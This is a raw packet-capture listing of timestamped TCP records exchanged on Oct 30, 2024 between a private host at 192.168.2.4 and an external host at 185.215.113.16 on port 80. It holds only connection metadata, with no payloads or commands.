Oct 30, 2024 12:36:51.320180893 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.320185900 CET	49747	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:51.320192099 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.320203066 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.320214033 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.320224047 CET	49747	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:51.320240974 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.320242882 CET	49747	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:51.320254087 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.320261955 CET	49747	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:51.320265055 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.320287943 CET	49747	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:51.320291996 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.320303917 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.320319891 CET	49747	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:51.320324898 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.320338011 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.320339918 CET	49747	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:51.320348024 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.320360899 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.320363998 CET	49747	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:51.320370913 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.320383072 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.320394993 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.320403099 CET	49747	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:51.320414066 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.320424080 CET	49747	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:51.320432901 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.320441961 CET	49747	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:51.320445061 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.320455074 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.320465088 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.320477962 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.320492029 CET	49747	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:51.320492029 CET	49747	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:51.320499897 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.320514917 CET	49747	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:51.320518970 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.320532084 CET	49747	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:51.320532084 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.320544004 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.320549011 CET	49747	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:51.320554972 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.320565939 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.320569038 CET	49747	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:51.320576906 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.320590019 CET	49747	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:51.320605993 CET	49747	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:51.320625067 CET	49747	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:51.320643902 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.320653915 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.320663929 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.320674896 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.320686102 CET	49747	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:51.320712090 CET	49747	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:51.320712090 CET	49747	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:51.320817947 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.320831060 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.320841074 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.320852995 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.320864916 CET	49747	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:51.320871115 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.320882082 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.320893049 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.320897102 CET	49747	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:51.320904016 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.320914984 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.320926905 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.320930958 CET	49747	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:51.320938110 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.320951939 CET	49747	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:51.320964098 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.320971012 CET	49747	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:51.320981979 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.320991039 CET	49747	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:51.320993900 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.321005106 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.321017027 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.321026087 CET	49747	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:51.321048021 CET	49747	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:51.321053982 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.321065903 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.321067095 CET	49747	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:51.321103096 CET	49747	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:51.321120024 CET	49747	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:51.321131945 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.321142912 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.321154118 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.321163893 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.321175098 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.321197033 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.321201086 CET	49747	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:51.321208954 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.321219921 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.321223021 CET	49747	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:51.321239948 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.321242094 CET	49747	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:51.321250916 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.321261883 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.321264982 CET	49747	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:51.321273088 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.321297884 CET	49747	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:51.321302891 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.321314096 CET	49747	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:51.321315050 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.321325064 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.321346998 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.321352959 CET	49747	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:51.321389914 CET	49747	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:51.321398973 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.321409941 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.321410894 CET	49747	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:51.321449041 CET	49747	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:51.321484089 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.321495056 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.321506023 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.321516991 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.321532965 CET	49747	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:51.321563959 CET	49747	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:51.321610928 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.321629047 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.321643114 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.321660042 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.321671009 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.321672916 CET	49747	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:51.321681023 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.321692944 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.321692944 CET	49747	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:51.321721077 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.321727991 CET	49747	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:51.321732044 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.321743011 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.321753025 CET	49747	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:51.321783066 CET	49747	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:51.321830034 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.321841955 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.321852922 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.321863890 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.321878910 CET	49747	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:51.321881056 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.321892977 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.321903944 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.321907043 CET	49747	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:51.321914911 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.321921110 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.321927071 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.321942091 CET	49747	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:51.321943045 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.321954966 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.321965933 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.321976900 CET	49747	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:51.321978092 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.321994066 CET	49747	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:51.322007895 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.322012901 CET	49747	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:51.322019100 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.322030067 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.322041988 CET	49747	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:51.322041988 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.322058916 CET	49747	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:51.322098017 CET	49747	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:51.322110891 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.322122097 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.322132111 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.322141886 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.322151899 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.322158098 CET	49747	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:51.322175980 CET	49747	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:51.322204113 CET	49747	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:51.322215080 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.322226048 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.322236061 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.322247028 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.322262049 CET	49747	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:51.322268963 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.322278976 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.322304010 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.322307110 CET	49747	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:51.322315931 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.322326899 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.322330952 CET	49747	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:51.322350979 CET	49747	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:51.322397947 CET	49747	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:51.322412014 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.322424889 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.322442055 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.322451115 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.322458029 CET	49747	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:51.322462082 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.322473049 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.322484016 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.322494030 CET	49747	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:51.322494984 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.322530985 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.322530985 CET	49747	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:51.322561026 CET	49747	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:51.322590113 CET	49747	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:51.322685957 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.322696924 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.322707891 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.322719097 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.322731018 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.322737932 CET	49747	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:51.322766066 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.322768927 CET	49747	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:51.322777033 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.322824001 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.322835922 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.322849035 CET	49747	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:51.322849035 CET	49747	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:51.322865963 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.322871923 CET	49747	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:51.322877884 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.322887897 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.322894096 CET	49747	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:51.322901011 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.322912931 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.322916985 CET	49747	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:51.322932959 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.322943926 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.322956085 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.322968006 CET	49747	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:51.322968006 CET	49747	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:51.322987080 CET	49747	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:51.322993040 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.323004961 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.323019981 CET	49747	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:51.323040962 CET	49747	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:51.323050976 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.323061943 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.323072910 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.323115110 CET	49747	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:51.323115110 CET	49747	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:51.329732895 CET	49747	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:51.431921005 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.431932926 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.431946993 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.431957006 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.431972980 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.431982994 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.431993008 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.431998968 CET	49747	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:51.431999922 CET	49747	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:51.432003021 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.432013988 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.432024002 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.432032108 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.432040930 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.432041883 CET	49747	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:51.432041883 CET	49747	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:51.432051897 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.432063103 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.432065010 CET	49747	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:51.432085991 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.432096004 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.432097912 CET	49747	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:51.432104111 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.432115078 CET	49747	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:51.432137012 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.432138920 CET	49747	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:51.432147026 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.432154894 CET	49747	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:51.432156086 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.432164907 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.432177067 CET	49747	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:51.432208061 CET	49747	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:51.432219028 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.432226896 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.432235003 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.432245016 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.432265043 CET	49747	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:51.432284117 CET	49747	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:51.432286978 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.432296991 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.432305098 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.432332993 CET	49747	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:51.432354927 CET	49747	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:51.475634098 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.475647926 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.475661039 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.475672007 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.475682020 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.475692987 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.475703955 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.475706100 CET	49747	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:51.475707054 CET	49747	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:51.475748062 CET	49747	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:51.475748062 CET	49747	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:51.475850105 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.475867987 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.475879908 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.475891113 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.475913048 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.475914955 CET	49747	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:51.475924969 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.475936890 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.475955963 CET	49747	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:51.475965023 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.475975990 CET	49747	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:51.475984097 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.476000071 CET	49747	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:51.476006985 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.476018906 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.476037979 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.476043940 CET	49747	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:51.476043940 CET	49747	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:51.476048946 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.476061106 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.476068974 CET	49747	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:51.476069927 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.476084948 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.476088047 CET	49747	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:51.476100922 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.476104021 CET	49747	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:51.476113081 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.476123095 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.476134062 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.476140022 CET	49747	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:51.476144075 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.476155043 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.476166964 CET	49747	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:51.476166964 CET	49747	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:51.476172924 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.476183891 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.476186037 CET	49747	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:51.476193905 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.476203918 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.476208925 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.476221085 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.476224899 CET	49747	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:51.476242065 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.476242065 CET	49747	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:51.476253033 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.476263046 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.476274014 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.476279020 CET	49747	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:51.476284027 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.476294994 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.476304054 CET	49747	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:51.476305008 CET	80	49747	185.215.113.16	192.168.2.4
